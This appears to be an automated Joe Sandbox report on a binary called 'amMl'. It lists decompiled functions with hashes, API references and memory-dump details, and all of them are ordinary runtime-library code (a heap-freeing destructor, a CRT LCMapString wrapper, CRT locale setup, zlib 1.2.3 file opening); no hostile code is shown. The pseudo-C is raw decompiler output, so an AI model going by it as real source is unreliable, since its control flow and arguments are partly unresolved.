Instruction ID: 93bf0ba95bc2a0faef8203f21c221f33afe887fd41373e09ae0fa508b254143b
Opcode Fuzzy Hash: 8d1f5aed7c5dfd20079dd4d946f02ab3c4db913f1b194ab0176bc05653236347
Instruction Fuzzy Hash: A521C3B4601204EFD720DF65E94A6457FB4FB08356F80407AE50887772E7B86682CF4D

Uniqueness

Uniqueness Score: -1.00%

Function 0040ADB0 Relevance: 2.5, APIs: 2, Instructions: 23
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040ADB0(intOrPtr* __ecx) {
				void* _t5;
				intOrPtr* _t11;

				_t11 = __ecx;
				_t5 =  *(__ecx + 8);
				 *__ecx = 0x41eff0;
				if(_t5 != 0) {
					_t5 =  *((intOrPtr*)( *((intOrPtr*)( *_t5 + 8))))(_t5);
				}
				if( *(_t11 + 0xc) != 0) {
					_t5 = GetProcessHeap();
					if(_t5 != 0) {
						return HeapFree(_t5, 0,  *(_t11 + 0xc));
					}
				}
				return _t5;
			}

0x0040adb3
0x0040adb5
0x0040adb8
0x0040adc0
0x0040adc8
0x0040adc8
0x0040adce
0x0040add0
0x0040add8
0x00000000
0x0040ade1
0x0040add8
0x0040ade8

APIs

GetProcessHeap.KERNEL32 ref: 0040ADD0
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 0040ADE1

Memory Dump Source

Source File: 00000002.00000002.366895867.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.366895867.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.366895867.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_amMl.jbxd

Yara matches

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 97be969a41baf58eb72298c462d2c401217e5b830f10c891868ac5f2a1a85b43
Instruction ID: 72dd180cd7110ee49b406fd12918c6a771032a3efea8c67e715e4993f3fed615
Opcode Fuzzy Hash: 97be969a41baf58eb72298c462d2c401217e5b830f10c891868ac5f2a1a85b43
Instruction Fuzzy Hash: 54E09A312003009FC320AB61DC08FA337AAEF88311F04C829E55A936A0DB78EC42CB58

Uniqueness

Uniqueness Score: -1.00%

Function 005B0D90 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.366986826.00000000005B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5b0000_amMl.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction ID: f95322f5e4a5fc3ce7f63fc076719aa5c883553e75ce8ba48214bc128ce0e291
Opcode Fuzzy Hash: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction Fuzzy Hash: 6A01AD76A006048FDF21DF64C805BEB37E9FB86316F4945A9D90A9B2C2E774B9418B90

Uniqueness

Uniqueness Score: -1.00%

Function 00417081 Relevance: 31.8, APIs: 21, Instructions: 340
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 86%

			E00417081(short* __ecx, int _a4, signed int _a8, char* _a12, int _a16, char* _a20, int _a24, int _a28, intOrPtr _a32) {
				signed int _v8;
				int _v12;
				int _v16;
				int _v20;
				intOrPtr _v24;
				void* _v36;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t110;
				intOrPtr _t112;
				intOrPtr _t113;
				short* _t115;
				short* _t116;
				char* _t120;
				short* _t121;
				short* _t123;
				short* _t127;
				int _t128;
				short* _t141;
				signed int _t144;
				void* _t146;
				short* _t147;
				signed int _t150;
				short* _t153;
				char* _t157;
				int _t160;
				long _t162;
				signed int _t174;
				signed int _t178;
				signed int _t179;
				int _t182;
				short* _t184;
				signed int _t186;
				signed int _t188;
				short* _t189;
				int _t191;
				intOrPtr _t194;
				int _t207;

				_t110 =  *0x422234; // 0x7c4c350d
				_v8 = _t110 ^ _t188;
				_t184 = __ecx;
				_t194 =  *0x423e7c; // 0x1
				if(_t194 == 0) {
					_t182 = 1;
					if(LCMapStringW(0, 0x100, 0x420398, 1, 0, 0) == 0) {
						_t162 = GetLastError();
						__eflags = _t162 - 0x78;
						if(_t162 == 0x78) {
							 *0x423e7c = 2;
						}
					} else {
						 *0x423e7c = 1;
					}
				}
				if(_a16 <= 0) {
					L13:
					_t112 =  *0x423e7c; // 0x1
					if(_t112 == 2 || _t112 == 0) {
						_v16 = 0;
						_v20 = 0;
						__eflags = _a4;
						if(_a4 == 0) {
							_a4 =  *((intOrPtr*)( *_t184 + 0x14));
						}
						__eflags = _a28;
						if(_a28 == 0) {
							_a28 =  *((intOrPtr*)( *_t184 + 4));
						}
						_t113 = E00417A20(0, _t179, _t182, _t184, _a4);
						_v24 = _t113;
						__eflags = _t113 - 0xffffffff;
						if(_t113 != 0xffffffff) {
							__eflags = _t113 - _a28;
							if(_t113 == _a28) {
								_t184 = LCMapStringA(_a4, _a8, _a12, _a16, _a20, _a24);
								L78:
								__eflags = _v16;
								if(__eflags != 0) {
									_push(_v16);
									E0040B6B5(0, _t182, _t184, __eflags);
								}
								_t115 = _v20;
								__eflags = _t115;
								if(_t115 != 0) {
									__eflags = _a20 - _t115;
									if(__eflags != 0) {
										_push(_t115);
										E0040B6B5(0, _t182, _t184, __eflags);
									}
								}
								_t116 = _t184;
								goto L84;
							}
							_t120 = E00417A69(_t179, _a28, _t113, _a12,  &_a16, 0, 0);
							_t191 =  &(_t189[0xc]);
							_v16 = _t120;
							__eflags = _t120;
							if(_t120 == 0) {
								goto L58;
							}
							_t121 = LCMapStringA(_a4, _a8, _t120, _a16, 0, 0);
							_v12 = _t121;
							__eflags = _t121;
							if(__eflags != 0) {
								if(__eflags <= 0) {
									L71:
									_t182 = 0;
									__eflags = 0;
									L72:
									__eflags = _t182;
									if(_t182 == 0) {
										goto L62;
									}
									E0040BA30(_t182, _t182, 0, _v12);
									_t123 = LCMapStringA(_a4, _a8, _v16, _a16, _t182, _v12);
									_v12 = _t123;
									__eflags = _t123;
									if(_t123 != 0) {
										_t186 = E00417A69(_t179, _v24, _a28, _t182,  &_v12, _a20, _a24);
										_v20 = _t186;
										asm("sbb esi, esi");
										_t184 =  ~_t186 & _v12;
										__eflags = _t184;
									} else {
										_t184 = 0;
									}
									E004147AE(_t182);
									goto L78;
								}
								__eflags = _t121 - 0xffffffe0;
								if(_t121 > 0xffffffe0) {
									goto L71;
								}
								_t127 =  &(_t121[4]);
								__eflags = _t127 - 0x400;
								if(_t127 > 0x400) {
									_t128 = E0040B84D(0, _t179, _t182, _t127);
									__eflags = _t128;
									if(_t128 != 0) {
										 *_t128 = 0xdddd;
										_t128 = _t128 + 8;
										__eflags = _t128;
									}
									_t182 = _t128;
									goto L72;
								}
								E0040CFB0(_t127);
								_t182 = _t191;
								__eflags = _t182;
								if(_t182 == 0) {
									goto L62;
								}
								 *_t182 = 0xcccc;
								_t182 = _t182 + 8;
								goto L72;
							}
							L62:
							_t184 = 0;
							goto L78;
						} else {
							goto L58;
						}
					} else {
						if(_t112 != 1) {
							L58:
							_t116 = 0;
							L84:
							return E0040CE09(_t116, 0, _v8 ^ _t188, _t179, _t182, _t184);
						}
						_v12 = 0;
						if(_a28 == 0) {
							_a28 =  *((intOrPtr*)( *_t184 + 4));
						}
						_t184 = MultiByteToWideChar;
						_t182 = MultiByteToWideChar(_a28, 1 + (0 | _a32 != 0x00000000) * 8, _a12, _a16, 0, 0);
						_t207 = _t182;
						if(_t207 == 0) {
							goto L58;
						} else {
							if(_t207 <= 0) {
								L28:
								_v16 = 0;
								L29:
								if(_v16 == 0) {
									goto L58;
								}
								if(MultiByteToWideChar(_a28, 1, _a12, _a16, _v16, _t182) == 0) {
									L52:
									E004147AE(_v16);
									_t116 = _v12;
									goto L84;
								}
								_t184 = LCMapStringW;
								_t174 = LCMapStringW(_a4, _a8, _v16, _t182, 0, 0);
								_v12 = _t174;
								if(_t174 == 0) {
									goto L52;
								}
								if((_a8 & 0x00000400) == 0) {
									__eflags = _t174;
									if(_t174 <= 0) {
										L44:
										_t184 = 0;
										__eflags = 0;
										L45:
										__eflags = _t184;
										if(_t184 != 0) {
											_t141 = LCMapStringW(_a4, _a8, _v16, _t182, _t184, _v12);
											__eflags = _t141;
											if(_t141 != 0) {
												_push(0);
												_push(0);
												__eflags = _a24;
												if(_a24 != 0) {
													_push(_a24);
													_push(_a20);
												} else {
													_push(0);
													_push(0);
												}
												_v12 = WideCharToMultiByte(_a28, 0, _t184, _v12, ??, ??, ??, ??);
											}
											E004147AE(_t184);
										}
										goto L52;
									}
									_t144 = 0xffffffe0;
									_t179 = _t144 % _t174;
									__eflags = _t144 / _t174 - 2;
									if(_t144 / _t174 < 2) {
										goto L44;
									}
									_t52 = _t174 + 8; // 0x8
									_t146 = _t174 + _t52;
									__eflags = _t146 - 0x400;
									if(_t146 > 0x400) {
										_t147 = E0040B84D(0, _t179, _t182, _t146);
										__eflags = _t147;
										if(_t147 != 0) {
											 *_t147 = 0xdddd;
											_t147 =  &(_t147[4]);
											__eflags = _t147;
										}
										_t184 = _t147;
										goto L45;
									}
									E0040CFB0(_t146);
									_t184 = _t189;
									__eflags = _t184;
									if(_t184 == 0) {
										goto L52;
									}
									 *_t184 = 0xcccc;
									_t184 =  &(_t184[4]);
									goto L45;
								}
								if(_a24 != 0 && _t174 <= _a24) {
									LCMapStringW(_a4, _a8, _v16, _t182, _a20, _a24);
								}
								goto L52;
							}
							_t150 = 0xffffffe0;
							_t179 = _t150 % _t182;
							if(_t150 / _t182 < 2) {
								goto L28;
							}
							_t25 = _t182 + 8; // 0x8
							_t152 = _t182 + _t25;
							if(_t182 + _t25 > 0x400) {
								_t153 = E0040B84D(0, _t179, _t182, _t152);
								__eflags = _t153;
								if(_t153 == 0) {
									L27:
									_v16 = _t153;
									goto L29;
								}
								 *_t153 = 0xdddd;
								L26:
								_t153 =  &(_t153[4]);
								goto L27;
							}
							E0040CFB0(_t152);
							_t153 = _t189;
							if(_t153 == 0) {
								goto L27;
							}
							 *_t153 = 0xcccc;
							goto L26;
						}
					}
				}
				_t178 = _a16;
				_t157 = _a12;
				while(1) {
					_t178 = _t178 - 1;
					if( *_t157 == 0) {
						break;
					}
					_t157 =  &(_t157[1]);
					if(_t178 != 0) {
						continue;
					}
					_t178 = _t178 | 0xffffffff;
					break;
				}
				_t160 = _a16 - _t178 - 1;
				if(_t160 < _a16) {
					_t160 = _t160 + 1;
				}
				_a16 = _t160;
				goto L13;
			}

0x00417089
0x00417090
0x00417098
0x0041709a
0x004170a0
0x004170a6
0x004170bb
0x004170c5
0x004170cb
0x004170ce
0x004170d0
0x004170d0
0x004170bd
0x004170bd
0x004170bd
0x004170bb
0x004170dd
0x00417101
0x00417101
0x00417109
0x004172bb
0x004172be
0x004172c1
0x004172c4
0x004172cb
0x004172cb
0x004172ce
0x004172d1
0x004172d8
0x004172d8
0x004172de
0x004172e4
0x004172e7
0x004172ea
0x004172f3
0x004172f6
0x004173ef
0x004173f1
0x004173f1
0x004173f4
0x004173f6
0x004173f9
0x004173fe
0x004173ff
0x00417402
0x00417404
0x00417406
0x00417409
0x0041740b
0x0041740c
0x00417411
0x00417409
0x00417412
0x00000000
0x00417412
0x00417309
0x0041730e
0x00417311
0x00417314
0x00417316
0x00000000
0x00000000
0x0041732a
0x0041732c
0x0041732f
0x00417331
0x0041733a
0x00417379
0x00417379
0x00417379
0x0041737b
0x0041737b
0x0041737d
0x00000000
0x00000000
0x00417384
0x0041739c
0x0041739e
0x004173a1
0x004173a3
0x004173bf
0x004173c1
0x004173c9
0x004173cb
0x004173cb
0x004173a5
0x004173a5
0x004173a5
0x004173cf
0x00000000
0x004173d4
0x0041733c
0x0041733f
0x00000000
0x00000000
0x00417341
0x00417344
0x00417349
0x00417362
0x00417368
0x0041736a
0x0041736c
0x00417372
0x00417372
0x00417372
0x00417375
0x00000000
0x00417375
0x0041734b
0x00417350
0x00417352
0x00417354
0x00000000
0x00000000
0x00417356
0x0041735c
0x00000000
0x0041735c
0x00417333
0x00417333
0x00000000
0x00000000
0x00000000
0x00000000
0x00417117
0x0041711a
0x004172ec
0x004172ec
0x00417414
0x00417425
0x00417425
0x00417120
0x00417126
0x0041712d
0x0041712d
0x00417130
0x00417153
0x00417155
0x00417157
0x00000000
0x0041715d
0x0041715d
0x004171a2
0x004171a2
0x004171a5
0x004171a8
0x00000000
0x00000000
0x004171c1
0x004172aa
0x004172ad
0x004172b2
0x00000000
0x004172b5
0x004171c7
0x004171db
0x004171dd
0x004171e2
0x00000000
0x00000000
0x004171ef
0x0041721a
0x0041721c
0x00417263
0x00417263
0x00417263
0x00417265
0x00417265
0x00417267
0x00417277
0x0041727d
0x0041727f
0x00417281
0x00417282
0x00417283
0x00417286
0x0041728c
0x0041728f
0x00417288
0x00417288
0x00417289
0x00417289
0x004172a0
0x004172a0
0x004172a4
0x004172a9
0x00000000
0x00417267
0x00417222
0x00417223
0x00417225
0x00417228
0x00000000
0x00000000
0x0041722a
0x0041722a
0x0041722e
0x00417233
0x0041724c
0x00417252
0x00417254
0x00417256
0x0041725c
0x0041725c
0x0041725c
0x0041725f
0x00000000
0x0041725f
0x00417235
0x0041723a
0x0041723c
0x0041723e
0x00000000
0x00000000
0x00417240
0x00417246
0x00000000
0x00417246
0x004171f4
0x00417213
0x00417213
0x00000000
0x004171f4
0x00417163
0x00417164
0x00417169
0x00000000
0x00000000
0x0041716b
0x0041716b
0x00417174
0x0041718a
0x00417190
0x00417192
0x0041719d
0x0041719d
0x00000000
0x0041719d
0x00417194
0x0041719a
0x0041719a
0x00000000
0x0041719a
0x00417176
0x0041717b
0x0041717f
0x00000000
0x00000000
0x00417181
0x00000000
0x00417181
0x00417157
0x00417109
0x004170df
0x004170e2
0x004170e5
0x004170e5
0x004170e8
0x00000000
0x00000000
0x004170ea
0x004170ed
0x00000000
0x00000000
0x004170ef
0x00000000
0x004170ef
0x004170f7
0x004170fb
0x004170fd
0x004170fd
0x004170fe
0x00000000

APIs

LCMapStringW.KERNEL32(00000000,00000100,00420398,00000001,00000000,00000000,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 004170B3
GetLastError.KERNEL32(?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000,?,7FFFFFFF,00000000,00000000,?,022418A8), ref: 004170C5
MultiByteToWideChar.KERNEL32(7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 00417151
_malloc.LIBCMT ref: 0041718A
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,00000000,?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000), ref: 004171BD
LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000), ref: 004171D9
LCMapStringW.KERNEL32(?,00000400,00000400,00000000,?,?), ref: 00417213
_malloc.LIBCMT ref: 0041724C
LCMapStringW.KERNEL32(?,00000400,00000400,00000000,00000000,?), ref: 00417277
WideCharToMultiByte.KERNEL32(?,00000000,00000000,?,?,?,00000000,00000000), ref: 0041729A
__freea.LIBCMT ref: 004172A4
__freea.LIBCMT ref: 004172AD
___ansicp.LIBCMT ref: 004172DE
___convertcp.LIBCMT ref: 00417309
LCMapStringA.KERNEL32(?,?,00000000,?,00000000,00000000,?,?,?,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?), ref: 0041732A
_malloc.LIBCMT ref: 00417362
_memset.LIBCMT ref: 00417384
LCMapStringA.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,?,7FFFFFFF,00000100,7FFFFFFF,?), ref: 0041739C
___convertcp.LIBCMT ref: 004173BA
__freea.LIBCMT ref: 004173CF
LCMapStringA.KERNEL32(?,?,?,?,7FFFFFFF,00000100,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 004173E9

Memory Dump Source

Source File: 00000002.00000002.366895867.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.366895867.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.366895867.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_amMl.jbxd

Yara matches

Similarity

API ID: String$ByteCharMultiWide__freea_malloc$___convertcp$ErrorLast___ansicp_memset
String ID:
API String ID: 3809854901-0
Opcode ID: 6e0241b6e147b769e02d4c25b4a62de63cd09900d226416504aadb47099bd534
Instruction ID: cdfffc9a1d2b3026f9ae82d5cc8d175594050d3ba9b5f3d3ede674b9b5b9b85c
Opcode Fuzzy Hash: 6e0241b6e147b769e02d4c25b4a62de63cd09900d226416504aadb47099bd534
Instruction Fuzzy Hash: 29B1B072908119EFCF119FA0CC808EF7BB5EF48354B14856BF915A2260D7398DD2DB98

Uniqueness

Uniqueness Score: -1.00%

Function 005C72E8 Relevance: 22.8, APIs: 15, Instructions: 340COMMONLIBRARYCODE

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,00000100,00420398,00000001,00000000,00000000,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 005C731A
GetLastError.KERNEL32(?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000,?,7FFFFFFF,00000000,00000000,?,00423620), ref: 005C732C
_malloc.LIBCMT ref: 005C73F1
_malloc.LIBCMT ref: 005C74B3
LCMapStringW.KERNEL32(?,00000400,00000400,00000000,00000000,?), ref: 005C74DE
WideCharToMultiByte.KERNEL32(?,00000000,00000000,?,?,?,00000000,00000000), ref: 005C7501
__freea.LIBCMT ref: 005C750B
__freea.LIBCMT ref: 005C7514
___ansicp.LIBCMT ref: 005C7545
___convertcp.LIBCMT ref: 005C7570
_malloc.LIBCMT ref: 005C75C9
_memset.LIBCMT ref: 005C75EB
___convertcp.LIBCMT ref: 005C7621
__freea.LIBCMT ref: 005C7636
LCMapStringA.KERNEL32(?,?,?,?,7FFFFFFF,00000100,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 005C7650

Memory Dump Source

Source File: 00000002.00000002.366986826.00000000005B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5b0000_amMl.jbxd

Yara matches

Similarity

API ID: String__freea_malloc$___convertcp$ByteCharErrorLastMultiWide___ansicp_memset
String ID:
API String ID: 2918745354-0
Opcode ID: 6e0241b6e147b769e02d4c25b4a62de63cd09900d226416504aadb47099bd534
Instruction ID: fb5663650938f28f1877c5980302636634b3ba0ec0522432f5f35b00d8b63732
Opcode Fuzzy Hash: 6e0241b6e147b769e02d4c25b4a62de63cd09900d226416504aadb47099bd534
Instruction Fuzzy Hash: 4BB1757280414EAFDF219FA4CC84EAE7FB5FB48354B24846DFA15A6520E7348D90DFA0

Uniqueness

Uniqueness Score: -1.00%

Function 005C083C Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,00421320,0000000C,005C0977,00000000,00000000,?,00000001,005BC22D,005BB993), ref: 005C084E
__crt_waiting_on_module_handle.LIBCMT ref: 005C0859

Part of subcall function 005BE9D1: Sleep.KERNEL32(000003E8,00000000,?,005C079F,KERNEL32.DLL,?,005C07EB,?,00000001,005BC22D,005BB993), ref: 005BE9DD
Part of subcall function 005BE9D1: GetModuleHandleW.KERNEL32(00000001,?,005C079F,KERNEL32.DLL,?,005C07EB,?,00000001,005BC22D,005BB993), ref: 005BE9E6

__lock.LIBCMT ref: 005C08B4
InterlockedIncrement.KERNEL32(?), ref: 005C08C1
__lock.LIBCMT ref: 005C08D5
___addlocaleref.LIBCMT ref: 005C08F3

Strings

KERNEL32.DLL, xrefs: 005C0848, 005C084D, 005C0858
@.B, xrefs: 005C08E8

Memory Dump Source

Source File: 00000002.00000002.366986826.00000000005B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5b0000_amMl.jbxd

Yara matches

Similarity

API ID: HandleModule__lock$IncrementInterlockedSleep___addlocaleref__crt_waiting_on_module_handle
String ID: @.B$KERNEL32.DLL
API String ID: 4021795732-2520587274
Opcode ID: 6494f875005ce20cdce955d8c22516ac3ccd9d7187ee8c814306de8b46833c7d
Instruction ID: 4b54001227b2fb951f00a055caad412006aa39cbddc3904110a7f1fffb2bb380
Opcode Fuzzy Hash: 6494f875005ce20cdce955d8c22516ac3ccd9d7187ee8c814306de8b46833c7d
Instruction Fuzzy Hash: 10117571940701EED720AF75D805BDABFF0BF44310F50852EE459972E2CB74AA458F98

Uniqueness

Uniqueness Score: -1.00%

Function 005B5A17 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 205COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 005B5A45

Part of subcall function 005BBAB4: __FF_MSGBANNER.LIBCMT ref: 005BBAD7
Part of subcall function 005BBAB4: __NMSG_WRITE.LIBCMT ref: 005BBADE

_malloc.LIBCMT ref: 005B5AA9
_malloc.LIBCMT ref: 005B5B6D
_malloc.LIBCMT ref: 005B5B97

Strings

1.2.3, xrefs: 005B5B53, 005B5B9E

Memory Dump Source

Source File: 00000002.00000002.366986826.00000000005B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5b0000_amMl.jbxd

Yara matches

Similarity

API ID: _malloc
String ID: 1.2.3
API String ID: 1579825452-2310465506
Opcode ID: 7bb03aca1fc5991893fbdddb05e44545bf6cb9a06a6e9765b2a21d01904c984c
Instruction ID: 6b534ed5d3aaa3aa5b5e5eb8a29c6f1e1eed4276c3793cc4dfe3bb7879516fd7
Opcode Fuzzy Hash: 7bb03aca1fc5991893fbdddb05e44545bf6cb9a06a6e9765b2a21d01904c984c
Instruction Fuzzy Hash: 8961D3B1948B818FD7349F2988817AAFFE0FB95310F544D2EE1D683600E775B84ACB52

Uniqueness

Uniqueness Score: -1.00%

Function 004057B0 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 205
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E004057B0(intOrPtr* __eax) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t57;
				char* _t60;
				char _t62;
				intOrPtr _t63;
				char _t64;
				intOrPtr _t65;
				intOrPtr _t66;
				intOrPtr _t67;
				intOrPtr _t69;
				intOrPtr _t70;
				intOrPtr _t74;
				intOrPtr _t79;
				intOrPtr _t82;
				intOrPtr* _t83;
				void* _t86;
				char* _t88;
				char* _t89;
				intOrPtr* _t91;
				intOrPtr* _t93;
				signed int _t97;
				signed int _t98;
				void* _t100;
				void* _t101;
				void* _t102;
				void* _t103;
				void* _t104;

				_t98 = _t97 | 0xffffffff;
				 *((intOrPtr*)(_t100 + 0xc)) = 0;
				_t91 = __eax;
				 *((intOrPtr*)(_t100 + 0x10)) = _t100 + 0x10;
				if( *((intOrPtr*)(_t100 + 0x68)) == 0 || __eax == 0) {
					__eflags = 0;
					return 0;
				} else {
					_t93 = E0040B84D(0, _t86, __eax, 0x74);
					_t101 = _t100 + 4;
					if(_t93 == 0) {
						L31:
						return 0;
					} else {
						 *((intOrPtr*)(_t93 + 0x20)) = 0;
						 *((intOrPtr*)(_t93 + 0x24)) = 0;
						 *((intOrPtr*)(_t93 + 0x28)) = 0;
						 *((intOrPtr*)(_t93 + 0x44)) = 0;
						 *_t93 = 0;
						 *((intOrPtr*)(_t93 + 0x48)) = 0;
						 *((intOrPtr*)(_t93 + 0xc)) = 0;
						 *((intOrPtr*)(_t93 + 0x10)) = 0;
						 *((intOrPtr*)(_t93 + 4)) = 0;
						 *((intOrPtr*)(_t93 + 0x40)) = 0;
						 *((intOrPtr*)(_t93 + 0x38)) = 0;
						 *((intOrPtr*)(_t93 + 0x3c)) = 0;
						 *((intOrPtr*)(_t93 + 0x64)) = 0;
						 *((intOrPtr*)(_t93 + 0x68)) = 0;
						 *(_t93 + 0x6c) = _t98;
						 *((intOrPtr*)(_t93 + 0x4c)) = E00403080(0, 0, 0);
						_t57 =  *((intOrPtr*)(_t101 + 0x78));
						_t102 = _t101 + 0xc;
						 *((intOrPtr*)(_t93 + 0x50)) = 0;
						 *((intOrPtr*)(_t93 + 0x58)) = 0;
						_t87 = _t57 + 1;
						do {
							_t82 =  *_t57;
							_t57 = _t57 + 1;
						} while (_t82 != 0);
						_t60 = E0040B84D(0, _t87, _t91, _t57 - _t87 + 1);
						_t103 = _t102 + 4;
						 *((intOrPtr*)(_t93 + 0x54)) = _t60;
						if(_t60 == 0) {
							L30:
							E00405160(0, _t87, _t93);
							goto L31;
						} else {
							_t83 =  *((intOrPtr*)(_t103 + 0x6c));
							_t88 = _t60;
							goto L7;
							L9:
							L9:
							if( *_t91 == 0x72) {
								 *((char*)(_t93 + 0x5c)) = 0x72;
							}
							_t63 =  *_t91;
							if(_t63 == 0x77 || _t63 == 0x61) {
								 *((char*)(_t93 + 0x5c)) = 0x77;
							}
							_t64 =  *_t91;
							if(_t64 < 0x30 || _t64 > 0x39) {
								__eflags = _t64 - 0x66;
								if(_t64 != 0x66) {
									__eflags = _t64 - 0x68;
									if(_t64 != 0x68) {
										__eflags = _t64 - 0x52;
										if(_t64 != 0x52) {
											_t89 =  *((intOrPtr*)(_t103 + 0x14));
											 *_t89 = _t64;
											_t87 = _t89 + 1;
											__eflags = _t87;
											 *((intOrPtr*)(_t103 + 0x14)) = _t87;
										} else {
											 *((intOrPtr*)(_t103 + 0x10)) = 3;
										}
									} else {
										 *((intOrPtr*)(_t103 + 0x10)) = 2;
									}
								} else {
									 *((intOrPtr*)(_t103 + 0x10)) = 1;
								}
							} else {
								_t98 = _t64 - 0x30;
							}
							_t91 = _t91 + 1;
							if(_t64 == 0) {
								goto L26;
							}
							_t87 = _t103 + 0x68;
							if( *((intOrPtr*)(_t103 + 0x14)) != _t103 + 0x68) {
								goto L9;
							}
							L26:
							_t65 =  *((intOrPtr*)(_t93 + 0x5c));
							if(_t65 == 0) {
								goto L30;
							} else {
								if(_t65 != 0x77) {
									_t66 = E0040B84D(0, _t87, _t91, 0x4000);
									 *((intOrPtr*)(_t93 + 0x44)) = _t66;
									 *_t93 = _t66;
									_t67 = E004071A0(_t93, 0xfffffff1, "1.2.3", 0x38);
									_t104 = _t103 + 0x14;
									__eflags = _t67;
									if(_t67 != 0) {
										goto L30;
									} else {
										__eflags =  *((intOrPtr*)(_t93 + 0x44));
										if(__eflags == 0) {
											goto L30;
										} else {
											goto L34;
										}
									}
								} else {
									_push(0x38);
									_push("1.2.3");
									_push( *((intOrPtr*)(_t103 + 0x10)));
									_push(8);
									_push(0xfffffff1);
									_push(8);
									_push(_t98);
									_push(_t93);
									_t91 = E00404CE0();
									_t79 = E0040B84D(0, _t87, _t91, 0x4000);
									_t104 = _t103 + 0x24;
									 *((intOrPtr*)(_t93 + 0x48)) = _t79;
									 *((intOrPtr*)(_t93 + 0xc)) = _t79;
									if(_t91 != 0 || _t79 == 0) {
										goto L30;
									} else {
										L34:
										 *((intOrPtr*)(_t93 + 0x10)) = 0x4000;
										 *((intOrPtr*)(E0040BFC1(__eflags))) = 0;
										_t69 =  *((intOrPtr*)(_t104 + 0x70));
										__eflags = _t69;
										_push(_t104 + 0x18);
										if(__eflags >= 0) {
											_push(_t69);
											_t70 = E0040C953(0, _t87, _t91, _t93, __eflags);
										} else {
											_t87 =  *((intOrPtr*)(_t104 + 0x70));
											_push( *((intOrPtr*)(_t104 + 0x70)));
											_t70 = E0040CB9D();
										}
										 *((intOrPtr*)(_t93 + 0x40)) = _t70;
										__eflags = _t70;
										if(_t70 == 0) {
											goto L30;
										} else {
											__eflags =  *((char*)(_t93 + 0x5c)) - 0x77;
											if( *((char*)(_t93 + 0x5c)) != 0x77) {
												E00405000(_t93, 0);
												_push( *((intOrPtr*)(_t93 + 0x40)));
												_t74 = E0040C8E5(0,  *((intOrPtr*)(_t93 + 0x40)), _t91, _t93, __eflags) -  *((intOrPtr*)(_t93 + 4));
												__eflags = _t74;
												 *((intOrPtr*)(_t93 + 0x60)) = _t74;
												return _t93;
											} else {
												 *((intOrPtr*)(_t93 + 0x60)) = 0xa;
												return _t93;
											}
										}
									}
								}
							}
							goto L42;
							L7:
							_t62 =  *_t83;
							 *_t88 = _t62;
							_t83 = _t83 + 1;
							_t88 = _t88 + 1;
							if(_t62 != 0) {
								goto L7;
							} else {
								 *((char*)(_t93 + 0x5c)) = 0;
							}
							goto L9;
						}
					}
				}
				L42:
			}

0x004057b7
0x004057bf
0x004057c3
0x004057c5
0x004057cd
0x004059c8
0x004059ce
0x004057db
0x004057e3
0x004057e5
0x004057ea
0x00405921
0x0040592a
0x004057f0
0x004057f3
0x004057f6
0x004057f9
0x004057fc
0x004057ff
0x00405801
0x00405804
0x00405807
0x0040580a
0x0040580d
0x00405810
0x00405813
0x00405816
0x00405819
0x0040581c
0x00405824
0x00405827
0x0040582b
0x0040582e
0x00405831
0x00405834
0x00405837
0x00405837
0x00405839
